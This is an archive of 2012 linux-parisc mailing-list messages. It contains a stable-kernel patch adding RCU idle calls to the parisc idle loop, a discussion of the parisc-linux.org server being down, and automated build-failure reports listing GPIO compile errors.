	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TM7L1-0005oB-Em
	for glpp-linux-parisc@plane.gmane.org; Thu, 11 Oct 2012 03:13:23 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933005Ab2JKBMv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 10 Oct 2012 21:12:51 -0400
Original-Received: from out1-smtp.messagingengine.com ([66.111.4.25]:48984 "EHLO
	out1-smtp.messagingengine.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S932990Ab2JKBMr (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 10 Oct 2012 21:12:47 -0400
Original-Received: from compute2.internal (compute2.nyi.mail.srv.osa [10.202.2.42])
	by gateway1.nyi.mail.srv.osa (Postfix) with ESMTP id D1A022086B;
	Wed, 10 Oct 2012 21:12:46 -0400 (EDT)
Original-Received: from frontend2.nyi.mail.srv.osa ([10.202.2.161])
  by compute2.internal (MEProxy); Wed, 10 Oct 2012 21:12:46 -0400
DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d=
	messagingengine.com; h=from:to:cc:subject:date:message-id
	:in-reply-to:references; s=smtpout; bh=bzvBcJngwAg3kmqF/RJB9s3ZG
	04=; b=VPkLfyr6aEqX8ySr1ARnlVDpb70MY15Do5f19TjQer3EYNUGP5kqNOUt3
	CKnr71c/7gpUOC44WL/d40V5AeNdMEj0cT+BoyBeC9xStysikSqJNXnv/YcoxV/M
	ijQVdUrm0ziuROg0Xfe0pjFj0NpjgyWkpvN+4OsnKuZPtmxPOo=
X-Sasl-enc: ZYYP+W2EEZ3JpBvO3YxHZwvkW4i0yWSK0rLv3jYy/CKQ 1349917966
Original-Received: from localhost (unknown [222.106.197.10])
	by mail.messagingengine.com (Postfix) with ESMTPA id 242A74827BC;
	Wed, 10 Oct 2012 21:12:45 -0400 (EDT)
X-Mailer: git-send-email 1.8.0.rc0.18.gf84667d
In-Reply-To: <20121011005825.364610894@linuxfoundation.org>
User-Agent: quilt/0.60-2.1.2
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4627 gmane.linux.kernel:1373823 gmane.linux.kernel.stable:33060
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4627>

3.4-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Frederic Weisbecker <fweisbec@gmail.com>

commit fbe752188d5589e7fcbb8e79824e560f77dccc92 upstream.

In the old times, the whole idle task was considered
as an RCU quiescent state. But as RCU became more and
more successful overtime, some RCU read side critical
section have been added even in the code of some
architectures idle tasks, for tracing for example.

So nowadays, rcu_idle_enter() and rcu_idle_exit() must
be called by the architecture to tell RCU about the part
in the idle loop that doesn't make use of rcu read side
critical sections, typically the part that puts the CPU
in low power mode.

This is necessary for RCU to find the quiescent states in
idle in order to complete grace periods.

Add this missing pair of calls in the parisc's idle loop.

Reported-by: Paul E. McKenney <paulmck@linux.vnet.ibm.com>
Signed-off-by: Frederic Weisbecker <fweisbec@gmail.com>
Cc: James E.J. Bottomley <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: Parisc <linux-parisc@vger.kernel.org>
Signed-off-by: Paul E. McKenney <paulmck@linux.vnet.ibm.com>
Reviewed-by: Josh Triplett <josh@joshtriplett.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 arch/parisc/kernel/process.c |    3 +++
 1 file changed, 3 insertions(+)

--- a/arch/parisc/kernel/process.c
+++ b/arch/parisc/kernel/process.c
@@ -48,6 +48,7 @@
 #include <linux/unistd.h>
 #include <linux/kallsyms.h>
 #include <linux/uaccess.h>
+#include <linux/rcupdate.h>
 
 #include <asm/io.h>
 #include <asm/asm-offsets.h>
@@ -69,8 +70,10 @@ void cpu_idle(void)
 
 	/* endless idle loop with no priority at all */
 	while (1) {
+		rcu_idle_enter();
 		while (!need_resched())
 			barrier();
+		rcu_idle_exit();
 		schedule_preempt_disabled();
 		check_pgt_cache();
 	}


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc-linux.org down?
Date: Wed, 10 Oct 2012 23:32:07 -0400
Organization: wh0rd.org
Lines: 63
Approved: news@gmane.org
Message-ID: <201210102332.08292.vapier@gentoo.org>
References: <CAE2sS1g_e6gh-gZhmtA+vjhmEv2cttkoPkpsWSxNhN7RAhT-ww@mail.gmail.com> <20121011005538.GD13426@dannf.org> <CAE2sS1hazzdG94i+Rz0PmF9MmzF62K1vW3knSUUe3PMgRVzhtA@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed;
  boundary="nextPart2437162.S1yKjdssh8";
  protocol="application/pgp-signature";
  micalg=pgp-sha1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1349926329 21461 80.91.229.3 (11 Oct 2012 03:32:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 11 Oct 2012 03:32:09 +0000 (UTC)
Cc: dann frazier <dannf@dannf.org>,
	"linux-parisc" <linux-parisc@vger.kernel.org>
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Oct 11 05:32:15 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TM9VP-0002IA-1x
	for glpp-linux-parisc@plane.gmane.org; Thu, 11 Oct 2012 05:32:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756385Ab2JKDcH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 10 Oct 2012 23:32:07 -0400
Original-Received: from smtp.gentoo.org ([140.211.166.183]:42208 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755527Ab2JKDcG (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 10 Oct 2012 23:32:06 -0400
Original-Received: from vapier.localnet (localhost [127.0.0.1])
	by smtp.gentoo.org (Postfix) with ESMTP id 2C30333CCE8;
	Thu, 11 Oct 2012 03:32:05 +0000 (UTC)
User-Agent: KMail/1.13.7 (Linux/3.5.2; KDE/4.6.5; x86_64; ; )
In-Reply-To: <CAE2sS1hazzdG94i+Rz0PmF9MmzF62K1vW3knSUUe3PMgRVzhtA@mail.gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4628
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4628>

--nextPart2437162.S1yKjdssh8
Content-Type: Text/Plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

On Wednesday 10 October 2012 21:04:35 Carlos O'Donell wrote:
> On Wed, Oct 10, 2012 at 8:55 PM, dann frazier <dannf@dannf.org> wrote:
> >> So it looks like the box is down, Dave, and Mike confirm.
> >>=20
> >> Does anyone know how we manage this box?
> >=20
> > Yes, it appears to be down. Noone is really managing the box - the
> > consensus was to move it to a VM somewhere, but noone volunteered to
> > do so. I'll ask someone at hp to power cycle it to see if that brings
> > it back.
>=20
> Thanks for reminding me of the current situation.
>=20
> I'll see what I can do about hosting www.parisc-linux.org, and perhaps
> changing the site design to be something as simple as a wiki on an EC2
> instance.

how big is the site ?  we host some of our medium-sized open source project=
s=20
on VMs provided by OSUOSL.  maybe worth contacting since the price is right=
 ?=20
(i.e. free ;])

although i really appreciate having sites be hosted by the things they espo=
use=20
(hppa in this case), but i can see that geek factor being less important th=
an=20
an available site.
=2Dmike

--nextPart2437162.S1yKjdssh8
Content-Type: application/pgp-signature; name=signature.asc 
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.17 (GNU/Linux)

iQIcBAABAgAGBQJQdj24AAoJEEFjO5/oN/WBScMQAOQnZKJMPNIOws16ou9LMe28
ZVAwl0GQreojWvLGRumyK/pWgeklYBKydgOGBXPtmHe+9HgwClOzn5QlA2w/PIOR
oUX88LMJU0AeRWMixLcOxEZHjbV253SL/rkA9h7pd+zrMmedHKuyAV4U5nKEyZGY
TQFvYGD/bp7vfNihyPAfGuur27JKWn0Ntb8VxcCruP5rJLUSdx/5xkUA65lEntRl
W3xw6fb6URm6QrSIO6fN3XQymk1IbHA2ml8pnG7GoY0/8NC5yylRlRCv7tKV9J5D
u88yQ8yn2E2ryKz6tWahIF6g+g7FJv0Km3Jo3z/u0Poz2Fk+M3FVaFtU+LgkLDwu
CT3jL4LN3Y3iPL3ERSBEDgH1PT9DT8MA3xZ+uZl0eZ4ogX3SXDNh7eM+5iCwJ3Ov
SGRVtqnpCnjVG2+KAhbdHK4Vy/fceu3f/sKuTQpdfsSOANjrUgtmpyr0T6Ws+urz
OovHPdC+NS12GWn9q8UoT3Z/caigq4dIHctfQ686yGG251+F2ModzIQNd/Ivum+D
QNZWTHd6lEBgYPfByfNfyEfPw4/+gTUwwNc7m0yRgVtptfIufquL8siOLlpjfpZA
g9dd/3tNwRHPXWPlvJaoZ6JC3F/ehsc4N/WEq9lmx0JRQF3Qx4C//MDRsT+RGZFa
GWXXw50LzaShkuNohyZ9
=sVAh
-----END PGP SIGNATURE-----

--nextPart2437162.S1yKjdssh8--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: palinux is down
Date: Fri, 12 Oct 2012 10:17:39 +0200
Lines: 12
Approved: news@gmane.org
Message-ID: <CA+DQjFh1pYyMOz=dK6=Jw-envwvJQrUCVx_z0AyAvZZSA4rA7Q@mail.gmail.com>
References: <CA+DQjFiAwsz3Ohmkac-21x=wAuCYC7m3OzdndWSXx3AYzxqoQw@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1350029886 22562 80.91.229.3 (12 Oct 2012 08:18:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 12 Oct 2012 08:18:06 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Oct 12 10:18:13 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TMaRf-0008Ka-Qh
	for glpp-linux-parisc@plane.gmane.org; Fri, 12 Oct 2012 10:18:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756154Ab2JLISF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 12 Oct 2012 04:18:05 -0400
Original-Received: from mail-la0-f46.google.com ([209.85.215.46]:62607 "EHLO
	mail-la0-f46.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754925Ab2JLISC (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 12 Oct 2012 04:18:02 -0400
Original-Received: by mail-la0-f46.google.com with SMTP id h6so1829766lag.19
        for <linux-parisc@vger.kernel.org>; Fri, 12 Oct 2012 01:18:00 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:from:date:message-id:subject:to
         :content-type;
        bh=Ie/53iME7Zh9fv233cZSsQP1Ca8KACXo6jYrumbqdsw=;
        b=oOpL2jtZQeazvzc4VJafFKImTohVoH8rHXX6FR0tq4UR7iesS2MucYXSt51tgPlwQg
         M/Dq+stRA/fZQVapixzZyv96w0gXIojK5Zf5jm2GkkkpudHGaiG+Rn5F31EvFzkKsF1c
         M7kGIvtWoa34fv3oUoIrEO7dDN7Dr/+YbYFhE9MR7aR4htbfIzKhDteeDTWTskevNK8z
         wN919OEPfnrOM4uduZD4KrkY68Pa3KLiaR64MJZmUBmX+UJNXeCvm+4VC5qkbKQOmvDz
         PpTQF4hJ6yePDo+mAa9ee/g3umYYY4toQoKQfGObsAiBuiC2J0nkyYRUP/SsXs06ryLc
         aw4g==
Original-Received: by 10.112.82.103 with SMTP id h7mr1354876lby.50.1350029880585; Fri,
 12 Oct 2012 01:18:00 -0700 (PDT)
Original-Received: by 10.114.19.233 with HTTP; Fri, 12 Oct 2012 01:17:39 -0700 (PDT)
In-Reply-To: <CA+DQjFiAwsz3Ohmkac-21x=wAuCYC7m3OzdndWSXx3AYzxqoQw@mail.gmail.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4629
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4629>

On Fri, Oct 12, 2012 at 10:12 AM, Thibaut VARENE <varenet@gmail.com> wrote:
>
> Or so it seems
>
> HTH
>
> T-Bone
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:08:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:08:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Fengguang Wu <fengguang.wu@intel.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.janitors
Subject: [jdelvare-staging:i2c-for-linus 9/15]
 drivers/leds/leds-tca6507.c:179:20: error: field 'gpio' has incomplete type
Date: Tue, 16 Oct 2012 13:58:29 +0800
Lines: 80
Approved: news@gmane.org
Message-ID: <20121016055829.GA31864@localhost>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1350367115 15308 80.91.229.3 (16 Oct 2012 05:58:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 16 Oct 2012 05:58:35 +0000 (UTC)
Cc: kernel-janitors@vger.kernel.org,
	Parisc List <linux-parisc@vger.kernel.org>
To: Jean Delvare <khali@linux-fr.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 16 07:58:42 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TO0Ar-0001yA-KS
	for glpp-linux-parisc@plane.gmane.org; Tue, 16 Oct 2012 07:58:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752179Ab2JPF6d (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 16 Oct 2012 01:58:33 -0400
Original-Received: from mga01.intel.com ([192.55.52.88]:7397 "EHLO mga01.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750893Ab2JPF6d (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 16 Oct 2012 01:58:33 -0400
Original-Received: from fmsmga002.fm.intel.com ([10.253.24.26])
  by fmsmga101.fm.intel.com with ESMTP; 15 Oct 2012 22:58:31 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="4.80,593,1344236400"; 
   d="scan'208";a="235552549"
Original-Received: from unknown (HELO wfg-t420.sh.intel.com) ([10.255.21.66])
  by fmsmga002.fm.intel.com with ESMTP; 15 Oct 2012 22:58:30 -0700
Original-Received: from wfg by wfg-t420.sh.intel.com with local (Exim 4.77)
	(envelope-from <fengguang.wu@intel.com>)
	id 1TO0Af-0008JP-36; Tue, 16 Oct 2012 13:58:29 +0800
Content-Disposition: inline
User-Agent: Heirloom mailx 12.5 6/20/10
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4632 gmane.linux.kernel.janitors:26617
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4632>

Hi Jean,

FYI, kernel build failed on

tree:   git://git.kernel.org/pub/scm/linux/kernel/git/jdelvare/staging.git i2c-for-linus
head:   c415b303a704e5c5f766fc0404093910c36cc4ab
commit: 3ad7ea18ae8c7ddda46b7276e0bda73e707ea9c1 [9/15] i2c-i801: Support SMBus multiplexing on Asus Z8 series
config: parisc-allyesconfig # make ARCH=parisc allyesconfig

All error/warnings:

drivers/leds/leds-tca6507.c:179:20: error: field 'gpio' has incomplete type
drivers/leds/leds-tca6507.c: In function 'tca6507_gpio_set_value':
drivers/leds/leds-tca6507.c:591:29: warning: initialization from incompatible pointer type [enabled by default]
drivers/leds/leds-tca6507.c:591:29: warning: (near initialization for 'tca') [enabled by default]
drivers/leds/leds-tca6507.c: In function 'tca6507_probe_gpios':
drivers/leds/leds-tca6507.c:640:2: error: implicit declaration of function 'gpiochip_add' [-Werror=implicit-function-declaration]
drivers/leds/leds-tca6507.c: In function 'tca6507_remove_gpio':
drivers/leds/leds-tca6507.c:653:3: error: implicit declaration of function 'gpiochip_remove' [-Werror=implicit-function-declaration]
cc1: some warnings being treated as errors
--
drivers/input/touchscreen/ad7879.c:115:19: error: field 'gc' has incomplete type
drivers/input/touchscreen/ad7879.c: In function 'ad7879_gpio_direction_input':
drivers/input/touchscreen/ad7879.c:385:22: warning: initialization from incompatible pointer type [enabled by default]
drivers/input/touchscreen/ad7879.c:385:22: warning: (near initialization for 'ts') [enabled by default]
drivers/input/touchscreen/ad7879.c: In function 'ad7879_gpio_direction_output':
drivers/input/touchscreen/ad7879.c:399:22: warning: initialization from incompatible pointer type [enabled by default]
drivers/input/touchscreen/ad7879.c:399:22: warning: (near initialization for 'ts') [enabled by default]
drivers/input/touchscreen/ad7879.c: In function 'ad7879_gpio_get_value':
drivers/input/touchscreen/ad7879.c:418:22: warning: initialization from incompatible pointer type [enabled by default]
drivers/input/touchscreen/ad7879.c:418:22: warning: (near initialization for 'ts') [enabled by default]
drivers/input/touchscreen/ad7879.c: In function 'ad7879_gpio_set_value':
drivers/input/touchscreen/ad7879.c:431:22: warning: initialization from incompatible pointer type [enabled by default]
drivers/input/touchscreen/ad7879.c:431:22: warning: (near initialization for 'ts') [enabled by default]
drivers/input/touchscreen/ad7879.c: In function 'ad7879_gpio_add':
drivers/input/touchscreen/ad7879.c:462:3: error: implicit declaration of function 'gpiochip_add' [-Werror=implicit-function-declaration]
drivers/input/touchscreen/ad7879.c: In function 'ad7879_gpio_remove':
drivers/input/touchscreen/ad7879.c:477:3: error: implicit declaration of function 'gpiochip_remove' [-Werror=implicit-function-declaration]
cc1: some warnings being treated as errors

vim +179 drivers/leds/leds-tca6507.c

a6d511e5 NeilBrown 2012-01-10  163  		int time_use, level_use;
a6d511e5 NeilBrown 2012-01-10  164  	} bank[3];
a6d511e5 NeilBrown 2012-01-10  165  	struct i2c_client	*client;
a6d511e5 NeilBrown 2012-01-10  166  	struct work_struct	work;
a6d511e5 NeilBrown 2012-01-10  167  	spinlock_t		lock;
a6d511e5 NeilBrown 2012-01-10  168  
a6d511e5 NeilBrown 2012-01-10  169  	struct tca6507_led {
a6d511e5 NeilBrown 2012-01-10  170  		struct tca6507_chip	*chip;
a6d511e5 NeilBrown 2012-01-10  171  		struct led_classdev	led_cdev;
a6d511e5 NeilBrown 2012-01-10  172  		int			num;
a6d511e5 NeilBrown 2012-01-10  173  		int			ontime, offtime;
a6d511e5 NeilBrown 2012-01-10  174  		int			on_dflt, off_dflt;
a6d511e5 NeilBrown 2012-01-10  175  		int			bank;	/* Bank used, or -1 */
a6d511e5 NeilBrown 2012-01-10  176  		int			blink;	/* Set if hardware-blinking */
a6d511e5 NeilBrown 2012-01-10  177  	} leds[NUM_LEDS];
a6d511e5 NeilBrown 2012-01-10  178  #ifdef CONFIG_GPIOLIB
a6d511e5 NeilBrown 2012-01-10 @179  	struct gpio_chip		gpio;
a6d511e5 NeilBrown 2012-01-10  180  	const char			*gpio_name[NUM_LEDS];
a6d511e5 NeilBrown 2012-01-10  181  	int				gpio_map[NUM_LEDS];
a6d511e5 NeilBrown 2012-01-10  182  #endif
a6d511e5 NeilBrown 2012-01-10  183  };
a6d511e5 NeilBrown 2012-01-10  184  
a6d511e5 NeilBrown 2012-01-10  185  static const struct i2c_device_id tca6507_id[] = {
a6d511e5 NeilBrown 2012-01-10  186  	{ "tca6507" },
a6d511e5 NeilBrown 2012-01-10  187  	{ }

The code at line 179 was first introduced by commit:
a6d511e leds: add driver for TCA6507 LED controller


---
0-DAY kernel build testing backend         Open Source Technology Center
Fengguang Wu, Yuanhan Liu                              Intel Corporation
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Fengguang Wu <fengguang.wu@intel.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.janitors
Subject: [vexpress:for-tixy 1/13] include/linux/mfd/tps65912.h:301:19: error:
 field 'gpio' has incomplete type
Date: Wed, 17 Oct 2012 01:22:43 +0800
Lines: 134
Approved: news@gmane.org
Message-ID: <20121016172243.GB11813@localhost>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1350408188 29012 80.91.229.3 (16 Oct 2012 17:23:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 16 Oct 2012 17:23:08 +0000 (UTC)
Cc: kernel-janitors@vger.kernel.org,
	Parisc List <linux-parisc@vger.kernel.org>,
	Grant Likely <grant.likely@secretlab.ca>,
	Linus Walleij <linus.walleij@linaro.org>
To: Pawel Moll <pawel.moll@arm.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 16 19:23:15 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TOArI-0002LY-IT
	for glpp-linux-parisc@plane.gmane.org; Tue, 16 Oct 2012 19:23:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755117Ab2JPRXE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 16 Oct 2012 13:23:04 -0400
Original-Received: from mga03.intel.com ([143.182.124.21]:46205 "EHLO mga03.intel.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754864Ab2JPRXD (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 16 Oct 2012 13:23:03 -0400
Original-Received: from azsmga001.ch.intel.com ([10.2.17.19])
  by azsmga101.ch.intel.com with ESMTP; 16 Oct 2012 10:23:01 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="4.80,595,1344236400"; 
   d="scan'208";a="205171565"
Original-Received: from unknown (HELO wfg-t420.sh.intel.com) ([10.255.21.66])
  by azsmga001.ch.intel.com with ESMTP; 16 Oct 2012 10:22:45 -0700
Original-Received: from wfg by wfg-t420.sh.intel.com with local (Exim 4.77)
	(envelope-from <fengguang.wu@intel.com>)
	id 1TOAqp-00038Z-9M; Wed, 17 Oct 2012 01:22:43 +0800
Content-Disposition: inline
User-Agent: Heirloom mailx 12.5 6/20/10
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4633 gmane.linux.kernel.janitors:26619
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4633>


Hi Pawel,

FYI, kernel build failed on

tree:   git://git.linaro.org/people/pawelmoll/linux.git for-tixy
head:   5e1365f66d14192704de05e796498ecb3fc4ba1f
commit: 7037839fdc0ead74bfc3c43e3e5d8617a24c9bc4 [1/13] video: Versatile Express DVI output driver
config: parisc-allyesconfig # make ARCH=parisc 

All error/warnings:

In file included from drivers/mfd/tps65912-core.c:22:0:
include/linux/mfd/tps65912.h:301:19: error: field 'gpio' has incomplete type
--
drivers/mfd/sm501.c:42:19: error: field 'gpio' has incomplete type
drivers/mfd/sm501.c: In function 'to_sm501_gpio':
drivers/mfd/sm501.c:884:9: warning: initialization from incompatible pointer type [enabled by default]
drivers/mfd/sm501.c: At top level:
drivers/mfd/sm501.c:1009:15: error: variable 'gpio_chip_template' has initializer but incomplete type
drivers/mfd/sm501.c:1010:2: error: unknown field 'ngpio' specified in initializer
drivers/mfd/sm501.c:1010:2: warning: excess elements in struct initializer [enabled by default]
drivers/mfd/sm501.c:1010:2: warning: (near initialization for 'gpio_chip_template') [enabled by default]
drivers/mfd/sm501.c:1011:2: error: unknown field 'direction_input' specified in initializer
drivers/mfd/sm501.c:1011:2: warning: excess elements in struct initializer [enabled by default]
drivers/mfd/sm501.c:1011:2: warning: (near initialization for 'gpio_chip_template') [enabled by default]
drivers/mfd/sm501.c:1012:2: error: unknown field 'direction_output' specified in initializer
drivers/mfd/sm501.c:1012:2: warning: excess elements in struct initializer [enabled by default]
drivers/mfd/sm501.c:1012:2: warning: (near initialization for 'gpio_chip_template') [enabled by default]
drivers/mfd/sm501.c:1013:2: error: unknown field 'set' specified in initializer
drivers/mfd/sm501.c:1013:2: warning: excess elements in struct initializer [enabled by default]
drivers/mfd/sm501.c:1013:2: warning: (near initialization for 'gpio_chip_template') [enabled by default]
drivers/mfd/sm501.c:1014:2: error: unknown field 'get' specified in initializer
drivers/mfd/sm501.c:1014:2: warning: excess elements in struct initializer [enabled by default]
drivers/mfd/sm501.c:1014:2: warning: (near initialization for 'gpio_chip_template') [enabled by default]
drivers/mfd/sm501.c: In function 'sm501_gpio_register_chip':
drivers/mfd/sm501.c:1032:8: error: dereferencing pointer to incomplete type
drivers/mfd/sm501.c:1036:8: error: dereferencing pointer to incomplete type
drivers/mfd/sm501.c:1039:7: error: dereferencing pointer to incomplete type
drivers/mfd/sm501.c:1042:2: error: implicit declaration of function 'gpiochip_add' [-Werror=implicit-function-declaration]
drivers/mfd/sm501.c: In function 'sm501_register_gpio':
drivers/mfd/sm501.c:1089:2: error: implicit declaration of function 'gpiochip_remove' [-Werror=implicit-function-declaration]
cc1: some warnings being treated as errors
--
drivers/mfd/htc-i2cpld.c:51:26: error: field 'chip_out' has incomplete type
drivers/mfd/htc-i2cpld.c:55:26: error: field 'chip_in' has incomplete type
drivers/mfd/htc-i2cpld.c: In function 'htcpld_chip_set':
drivers/mfd/htc-i2cpld.c:233:14: warning: initialization from incompatible pointer type [enabled by default]
drivers/mfd/htc-i2cpld.c: In function 'htcpld_chip_get':
drivers/mfd/htc-i2cpld.c:268:14: warning: initialization from incompatible pointer type [enabled by default]
drivers/mfd/htc-i2cpld.c:272:15: warning: initialization from incompatible pointer type [enabled by default]
drivers/mfd/htc-i2cpld.c: In function 'htcpld_direction_input':
drivers/mfd/htc-i2cpld.c:305:23: error: dereferencing pointer to incomplete type
drivers/mfd/htc-i2cpld.c: In function 'htcpld_chip_to_irq':
drivers/mfd/htc-i2cpld.c:312:14: warning: initialization from incompatible pointer type [enabled by default]
drivers/mfd/htc-i2cpld.c: In function 'htcpld_register_chip_gpio':
drivers/mfd/htc-i2cpld.c:457:11: error: dereferencing pointer to incomplete type
drivers/mfd/htc-i2cpld.c:458:11: error: dereferencing pointer to incomplete type
drivers/mfd/htc-i2cpld.c:459:11: error: dereferencing pointer to incomplete type
drivers/mfd/htc-i2cpld.c:460:11: error: dereferencing pointer to incomplete type
drivers/mfd/htc-i2cpld.c:461:11: error: dereferencing pointer to incomplete type
drivers/mfd/htc-i2cpld.c:462:11: error: dereferencing pointer to incomplete type
